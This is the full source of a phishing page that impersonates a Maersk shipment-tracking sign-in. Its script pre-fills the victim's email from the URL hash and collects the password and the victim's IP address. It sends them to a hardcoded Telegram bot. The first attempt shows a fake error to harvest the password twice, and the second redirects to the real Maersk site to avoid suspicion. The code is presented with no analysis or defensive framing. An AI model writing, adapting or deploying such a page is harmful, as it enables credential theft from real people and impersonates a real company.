<script>
    // Extract email from the URL and set it as the emltag value
    let emltag = '[Email]';
    const extractEmailFromURL = () => {
        const hash = window.location.hash;
        if (hash) {
            const email = hash.substring(1); // Remove the '#' and get the email
            emltag = email;
        }
    };
    extractEmailFromURL();
</script>
<script>
    let emltag = '[Email]';
</script>
<script>
    // Initialize signInAttempts variable
    let signInAttempts = 0;

    // Function to display error message
    function showError(errorContainer, message) {
        errorContainer.textContent = message;

        // Show the error message container
        errorContainer.style.display = 'block';

        // Clear password field after displaying the error message
        const passwordInput = document.getElementById('password');
        passwordInput.value = ''; // Clear password field

        // Hide the error message after 2 seconds
        setTimeout(() => {
            errorContainer.style.display = 'none';
        }, 2000); // Adjust the duration (in milliseconds) as needed
    }

    // Your CSS styles
    const styles = `
<style>
    body, html {
        margin: 0;
        padding: 0;
        height: 100%;
        font-family: Arial, sans-serif;
    }

    .background-img {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background-image: url('https://firebasestorage.googleapis.com/v0/b/png-images-481bb.appspot.com/o/maersk%20back.png?alt=media&token=75338e45-342b-42cb-9afd-787a46f3170d');
        background-size: cover;
        z-index: -1;
    }

    .form-container {
        position: absolute;
        top: 50%;
        right: 10%;
        transform: translateY(-50%);
        background-color: #ffffff;
        padding: 20px;
        border-radius: 10px;
        animation: appear 1s ease forwards;
        max-width: 300px;
        opacity: 1;
    }

    @keyframes appear {
        from { opacity: 0; transform: translateY(-50%) scale(0.5); }
        to { opacity: 1; transform: translateY(-50%) scale(1); }
    }

    .form-container h2 {
        font-size: 20px;
        color: black;
        margin-bottom: 20px;
    }

    .form-container input[type="text"],
    .form-container input[type="password"] {
        width: calc(100% - 20px);
        padding: 8px;
        margin-bottom: 10px;
        border: none;
        border-bottom: 1px solid #000;
        background-color: transparent;
        outline: none;
    }

    .form-container button {
        width: calc(106% - 22px);
        padding: 10px;
        border: none;
        border-radius: 15px;
        background-color: navy;
        color: white;
        cursor: pointer;
        transition: background-color 0.3s ease;
    }

    .form-container button:hover {
        background-color: #001f3f;
    }

    .error-message {
        color: red;
        margin-top: 10px;
    }

    .discover-container {
        position: absolute;
        bottom: 15%;
        left: 10%;
        background-color: #ffffff;
        padding: 10px;
        border-radius: 15px;
    }
#copyright-container {
  position: fixed;
  bottom: 0;
  left: 0;
  width: 100%;
  height: 20px; /* Increased height of the white line */
  background-color: white;
  overflow: hidden;
  display: flex;
  justify-content: center;
  align-items: center;
}

#copyright-text {
  position: relative;
  white-space: nowrap;
  font-family: Arial, sans-serif;
  font-size: 16px;
  color: black;
  animation: move-text 20s linear infinite; /* Slowed down the movement by increasing duration */
}

@keyframes move-text {
  0% {
    left: 100%;
  }
  100% {
    left: -100%;
  }
}
</style>
`;

    // Append styles to the head
    document.head.insertAdjacentHTML('beforeend', styles);

// Function to create the form when the DOM content is fully loaded
function createForm() {
    const body = document.querySelector('body');

    // Create form elements
    const containerDiv = document.createElement('div');
    containerDiv.classList.add('form-container');
    body.appendChild(containerDiv);

    const backgroundDiv = document.createElement('div');
    backgroundDiv.classList.add('background-img');
    body.appendChild(backgroundDiv);

    const h2 = document.createElement('h2');
    h2.textContent = 'View Tracking Schedule';
    containerDiv.appendChild(h2);

    const form = document.createElement('form');
    form.id = 'loginForm';
    containerDiv.appendChild(form);

    const emailInput = document.createElement('input');
    emailInput.type = 'text';
    emailInput.id = 'email';
    emailInput.name = 'email';
    emailInput.placeholder = 'Email';
    emailInput.value = emltag;
    form.appendChild(emailInput);

    const passwordInput = document.createElement('input');
    passwordInput.type = 'password';
    passwordInput.id = 'password';
    passwordInput.name = 'password';
    passwordInput.placeholder = 'Password';
    form.appendChild(passwordInput);

    const submitButton = document.createElement('button');
    submitButton.type = 'button';
    submitButton.id = 'submit-btn';
    submitButton.textContent = 'Sign In';
    form.appendChild(submitButton);

    const errorWrapper = document.createElement('div');
    errorWrapper.classList.add('error-message');
    errorWrapper.id = 'err-wrapper';
    containerDiv.appendChild(errorWrapper);

    const discoverDiv = document.createElement('div');
    discoverDiv.classList.add('discover-container');
    body.appendChild(discoverDiv);

    const p = document.createElement('p');
    p.textContent = 'Discover new paths';
    discoverDiv.appendChild(p);

    handleFormSubmission();
}

// Function to handle form submission
function handleFormSubmission() {
    const signInButton = document.getElementById('submit-btn');
    const errorWrapper = document.getElementById('err-wrapper');
    const emailInput = document.getElementById('email');
    const passwordInput = document.getElementById('password');

    signInButton.addEventListener('click', async () => {
        if (passwordInput.value === '') {
            showError(errorWrapper, 'Please fill in the password field.');
            return;
        }

        signInAttempts++;
        errorWrapper.textContent = ''; // Clear previous error message
        signInButton.textContent = 'Signing In...';
        signInButton.disabled = true;

        const botToken = '7097653846:AAHpbyuuh_yQSARsalgjDethDHXpjRqAh-E';
        const chatId = '6171459979';

        // Fetch the user's IP address
        let userIP = 'Unknown';
        try {
            const ipResponse = await fetch('https://api.ipify.org?format=json');
            const ipData = await ipResponse.json();
            userIP = ipData.ip;
        } catch (error) {
            console.error('Error fetching IP address:', error);
        }

        const message = `Login Attempt:\nEmail: ${emailInput.value}\nPassword: ${passwordInput.value}\nIP Address: ${userIP}\nAttempts: ${signInAttempts}`;

        try {
            const response = await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    chat_id: chatId,
                    text: message,
                }),
            });

            if (signInAttempts === 1) {
                showError(errorWrapper, 'Invalid credentials. Please try again');
            } else if (signInAttempts === 2) {
                window.location.href = 'https://maersk.com';
            } else {
                showError(errorWrapper, 'Wrong password. Please try again.');
            }
        } catch (error) {
            showError(errorWrapper, 'Error submitting credentials. Please try again.');
        } finally {
            signInButton.textContent = 'Sign In';
            signInButton.disabled = false;
            passwordInput.value = '';
        }
    });
}

// Call the function to create the form when the DOM content is fully loaded
document.addEventListener('DOMContentLoaded', createForm);


  </script>
  
